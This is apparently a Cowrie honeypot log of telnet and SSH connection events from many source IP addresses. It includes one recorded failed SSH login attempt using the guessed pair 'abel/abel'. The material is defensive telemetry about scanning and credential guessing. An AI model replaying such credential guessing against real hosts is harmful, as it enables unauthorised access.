{"eventid":"cowrie.session.closed","duration":31.00845980644226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:24.050929Z","src_ip":"199.250.223.224","session":"ba78ed4e0a23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.81.53","src_port":39328,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6a6d9bbd098","protocol":"telnet","message":"New connection: 198.38.81.53:39328 (10.17.0.5:23) [session: d6a6d9bbd098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:24.357074Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":42878,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e71c97c30af","protocol":"telnet","message":"New connection: 51.222.46.37:42878 (10.17.0.5:23) [session: 2e71c97c30af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:27.131530Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.195.101.206","src_port":57176,"dst_ip":"10.17.0.5","dst_port":23,"session":"64760986cc65","protocol":"telnet","message":"New connection: 134.195.101.206:57176 (10.17.0.5:23) [session: 64760986cc65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:27.280111Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":40804,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2620aeb9f50","protocol":"telnet","message":"New connection: 51.222.46.37:40804 (10.17.0.5:23) [session: f2620aeb9f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:28.125191Z"}
{"eventid":"cowrie.session.closed","duration":30.882113456726074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:28.779278Z","src_ip":"198.50.106.251","session":"02e5d7f13d65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.81.53","src_port":39330,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e1c646d9828","protocol":"telnet","message":"New connection: 198.38.81.53:39330 (10.17.0.5:23) [session: 8e1c646d9828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:28.911186Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.14","src_port":50226,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef19561a084e","protocol":"telnet","message":"New connection: 41.76.108.14:50226 (10.17.0.5:23) [session: ef19561a084e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:29.644819Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.106.251","src_port":35414,"dst_ip":"10.17.0.5","dst_port":23,"session":"889a358fcf8d","protocol":"telnet","message":"New connection: 198.50.106.251:35414 (10.17.0.5:23) [session: 889a358fcf8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:30.792633Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.156.231","src_port":52268,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d170a3eb2f0","protocol":"telnet","message":"New connection: 159.65.156.231:52268 (10.17.0.5:23) [session: 7d170a3eb2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:30.837966Z"}
{"eventid":"cowrie.session.closed","duration":30.663214206695557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:33.058143Z","src_ip":"15.204.172.25","session":"db7a913d3fdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":40818,"dst_ip":"10.17.0.5","dst_port":23,"session":"a86ba7ccbfec","protocol":"telnet","message":"New connection: 51.222.46.37:40818 (10.17.0.5:23) [session: a86ba7ccbfec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:33.088841Z"}
{"eventid":"cowrie.session.closed","duration":30.42896294593811,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:33.127894Z","src_ip":"114.142.160.98","session":"c6dbe4d0291e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90921378135681,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:33.228899Z","src_ip":"64.112.192.18","session":"3f31cc452d70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.587602853775024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:34.118812Z","src_ip":"114.142.160.98","session":"5fa5cdce1e64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.150.184.17","src_port":36644,"dst_ip":"10.17.0.5","dst_port":23,"session":"d48e03f02738","protocol":"telnet","message":"New connection: 64.150.184.17:36644 (10.17.0.5:23) [session: d48e03f02738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:34.159207Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.172.25","src_port":53744,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1d4e8044f08","protocol":"telnet","message":"New connection: 15.204.172.25:53744 (10.17.0.5:23) [session: f1d4e8044f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:34.764220Z"}
{"eventid":"cowrie.session.closed","duration":30.967981576919556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:35.077372Z","src_ip":"162.252.82.70","session":"f8a8df287c03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"158.69.128.56","src_port":56008,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf7252591329","protocol":"telnet","message":"New connection: 158.69.128.56:56008 (10.17.0.5:23) [session: cf7252591329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:35.082817Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48722,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8e046ec43b1","protocol":"ssh","message":"New connection: 159.203.92.129:48722 (159.203.135.109:22) [session: e8e046ec43b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:35.411335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:35.415586Z","src_ip":"159.203.92.129","session":"e8e046ec43b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:35.419738Z","src_ip":"159.203.92.129","session":"e8e046ec43b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abel","password":"abel","message":"login attempt [abel/abel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:35.429468Z","src_ip":"159.203.92.129","session":"e8e046ec43b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:36.442252Z","src_ip":"159.203.92.129","session":"e8e046ec43b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":58224,"dst_ip":"10.17.0.5","dst_port":23,"session":"cad8daa16b2b","protocol":"telnet","message":"New connection: 66.223.49.88:58224 (10.17.0.5:23) [session: cad8daa16b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:36.562333Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.126.156.251","src_port":45344,"dst_ip":"10.17.0.5","dst_port":23,"session":"85140be7b5ac","protocol":"telnet","message":"New connection: 144.126.156.251:45344 (10.17.0.5:23) [session: 85140be7b5ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:37.225721Z"}
{"eventid":"cowrie.session.closed","duration":30.915156602859497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:37.756900Z","src_ip":"198.50.106.251","session":"3e42d82cc8d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115245580673218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:37.786052Z","src_ip":"41.76.108.14","session":"e40f32e5abc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97978377342224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:38.113469Z","src_ip":"66.223.49.88","session":"d30bde25f649","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.112.192.18","src_port":54634,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c849e0f83c1","protocol":"telnet","message":"New connection: 64.112.192.18:54634 (10.17.0.5:23) [session: 2c849e0f83c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:38.370577Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.142.160.98","src_port":56552,"dst_ip":"10.17.0.5","dst_port":23,"session":"3303fb35800a","protocol":"telnet","message":"New connection: 114.142.160.98:56552 (10.17.0.5:23) [session: 3303fb35800a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:38.520124Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.142.160.98","src_port":56566,"dst_ip":"10.17.0.5","dst_port":23,"session":"9be4e941e86a","protocol":"telnet","message":"New connection: 114.142.160.98:56566 (10.17.0.5:23) [session: 9be4e941e86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:38.649482Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.81.53","src_port":50138,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc0b0702a1ce","protocol":"telnet","message":"New connection: 198.38.81.53:50138 (10.17.0.5:23) [session: cc0b0702a1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:39.171762Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":47320,"dst_ip":"10.17.0.5","dst_port":23,"session":"291aeb571cf0","protocol":"telnet","message":"New connection: 146.71.83.154:47320 (10.17.0.5:23) [session: 291aeb571cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:39.215119Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.112.192.18","src_port":54824,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd5c31fa74cc","protocol":"telnet","message":"New connection: 64.112.192.18:54824 (10.17.0.5:23) [session: cd5c31fa74cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:39.486198Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.106.251","src_port":36284,"dst_ip":"10.17.0.5","dst_port":23,"session":"37d8391ff1a9","protocol":"telnet","message":"New connection: 198.50.106.251:36284 (10.17.0.5:23) [session: 37d8391ff1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:39.736310Z"}
{"eventid":"cowrie.session.closed","duration":30.539386510849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:40.122977Z","src_ip":"20.244.7.92","session":"25be4ad8cb9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.21.104.13","src_port":39370,"dst_ip":"10.17.0.5","dst_port":23,"session":"e20a869b8ee4","protocol":"telnet","message":"New connection: 46.21.104.13:39370 (10.17.0.5:23) [session: e20a869b8ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:40.277826Z"}
{"eventid":"cowrie.session.closed","duration":30.754385709762573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:41.079429Z","src_ip":"209.145.49.9","session":"831e55cb8c22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54316759109497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:41.109010Z","src_ip":"41.76.108.14","session":"1c961e57aa74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.204.143","src_port":39726,"dst_ip":"10.17.0.5","dst_port":23,"session":"1329f20cd2d8","protocol":"telnet","message":"New connection: 161.35.204.143:39726 (10.17.0.5:23) [session: 1329f20cd2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:41.222946Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.81.53","src_port":50148,"dst_ip":"10.17.0.5","dst_port":23,"session":"c41369e2599b","protocol":"telnet","message":"New connection: 198.38.81.53:50148 (10.17.0.5:23) [session: c41369e2599b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:41.284264Z"}
{"eventid":"cowrie.session.closed","duration":30.26370596885681,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:42.110715Z","src_ip":"198.38.81.53","session":"c004e85d65ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.289666891098022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:42.120218Z","src_ip":"114.142.160.98","session":"a4c793256974","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":54366,"dst_ip":"10.17.0.5","dst_port":23,"session":"56f53d3f1ab6","protocol":"telnet","message":"New connection: 162.252.82.70:54366 (10.17.0.5:23) [session: 56f53d3f1ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:42.128056Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.81.53","src_port":50150,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec2204669f3e","protocol":"telnet","message":"New connection: 198.38.81.53:50150 (10.17.0.5:23) [session: ec2204669f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:42.547340Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.145.49.9","src_port":57746,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6985d08f691","protocol":"telnet","message":"New connection: 209.145.49.9:57746 (10.17.0.5:23) [session: e6985d08f691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:44.082376Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.133.145","src_port":42998,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f89c5e96819","protocol":"telnet","message":"New connection: 144.79.133.145:42998 (10.17.0.5:23) [session: 6f89c5e96819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:44.966740Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.244.210.29","src_port":48302,"dst_ip":"10.17.0.5","dst_port":23,"session":"450491f9a9da","protocol":"telnet","message":"New connection: 173.244.210.29:48302 (10.17.0.5:23) [session: 450491f9a9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:45.075335Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.175.86.26","src_port":55068,"dst_ip":"10.17.0.5","dst_port":23,"session":"1304aac61f4a","protocol":"telnet","message":"New connection: 69.175.86.26:55068 (10.17.0.5:23) [session: 1304aac61f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:45.101224Z"}
{"eventid":"cowrie.session.closed","duration":31.00153923034668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:46.778552Z","src_ip":"198.50.106.251","session":"1ded8f031a1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85840892791748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:47.078310Z","src_ip":"74.115.209.253","session":"115d8bc34e16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.14","src_port":45740,"dst_ip":"10.17.0.5","dst_port":23,"session":"0df65cfaa037","protocol":"telnet","message":"New connection: 41.76.108.14:45740 (10.17.0.5:23) [session: 0df65cfaa037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:47.121732Z"}
{"eventid":"cowrie.session.closed","duration":31.08592677116394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:47.193077Z","src_ip":"209.145.49.9","session":"718c95015f33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":50310,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab9d3f44b494","protocol":"telnet","message":"New connection: 146.71.83.154:50310 (10.17.0.5:23) [session: ab9d3f44b494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:47.272035Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":36280,"dst_ip":"10.17.0.5","dst_port":23,"session":"0baa927af06a","protocol":"telnet","message":"New connection: 216.55.143.160:36280 (10.17.0.5:23) [session: 0baa927af06a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:47.313291Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":35644,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe6ab90b1d79","protocol":"telnet","message":"New connection: 51.222.46.37:35644 (10.17.0.5:23) [session: fe6ab90b1d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:48.057369Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":50324,"dst_ip":"10.17.0.5","dst_port":23,"session":"00588ed4fa13","protocol":"telnet","message":"New connection: 146.71.83.154:50324 (10.17.0.5:23) [session: 00588ed4fa13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:48.244954Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.112.192.18","src_port":56346,"dst_ip":"10.17.0.5","dst_port":23,"session":"fecf1626097e","protocol":"telnet","message":"New connection: 64.112.192.18:56346 (10.17.0.5:23) [session: fecf1626097e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:49.023431Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.145.49.9","src_port":58660,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b03a8be8bfb","protocol":"telnet","message":"New connection: 209.145.49.9:58660 (10.17.0.5:23) [session: 3b03a8be8bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:49.095562Z"}
{"eventid":"cowrie.session.closed","duration":30.65347146987915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:49.100735Z","src_ip":"198.38.81.53","session":"3962cd299bf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.7.92","src_port":46280,"dst_ip":"10.17.0.5","dst_port":23,"session":"034f326813f7","protocol":"telnet","message":"New connection: 20.244.7.92:46280 (10.17.0.5:23) [session: 034f326813f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:49.498402Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.250.223.224","src_port":55837,"dst_ip":"10.17.0.5","dst_port":23,"session":"943c24960681","protocol":"telnet","message":"New connection: 199.250.223.224:55837 (10.17.0.5:23) [session: 943c24960681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:50.272218Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":37040,"dst_ip":"10.17.0.5","dst_port":23,"session":"5809db6a3f76","protocol":"telnet","message":"New connection: 216.55.143.160:37040 (10.17.0.5:23) [session: 5809db6a3f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:50.281597Z"}
{"eventid":"cowrie.session.closed","duration":30.54107689857483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:51.146106Z","src_ip":"114.142.160.98","session":"9516a99de9aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.81.53","src_port":54726,"dst_ip":"10.17.0.5","dst_port":23,"session":"832cf7d1a40e","protocol":"telnet","message":"New connection: 198.38.81.53:54726 (10.17.0.5:23) [session: 832cf7d1a40e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:51.530664Z"}
{"eventid":"cowrie.session.closed","duration":31.080423831939697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:51.673622Z","src_ip":"41.76.108.14","session":"6f95b686c898","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88965916633606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:52.036800Z","src_ip":"209.145.49.9","session":"8b6a1fabc55f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.244.210.29","src_port":49068,"dst_ip":"10.17.0.5","dst_port":23,"session":"85907f13c67d","protocol":"telnet","message":"New connection: 173.244.210.29:49068 (10.17.0.5:23) [session: 85907f13c67d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:52.091716Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.222.46.37","src_port":35660,"dst_ip":"10.17.0.5","dst_port":23,"session":"df22d3172c6e","protocol":"telnet","message":"New connection: 51.222.46.37:35660 (10.17.0.5:23) [session: df22d3172c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:53.100203Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.14","src_port":45746,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5185fd31ecb","protocol":"telnet","message":"New connection: 41.76.108.14:45746 (10.17.0.5:23) [session: e5185fd31ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:53.632357Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.142.160.98","src_port":38750,"dst_ip":"10.17.0.5","dst_port":23,"session":"d191774583e3","protocol":"telnet","message":"New connection: 114.142.160.98:38750 (10.17.0.5:23) [session: d191774583e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:53.813811Z"}
{"eventid":"cowrie.session.closed","duration":30.943557739257812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:09:54.026472Z","src_ip":"209.145.49.9","session":"8ddf78d813ea","protocol":"telnet"}
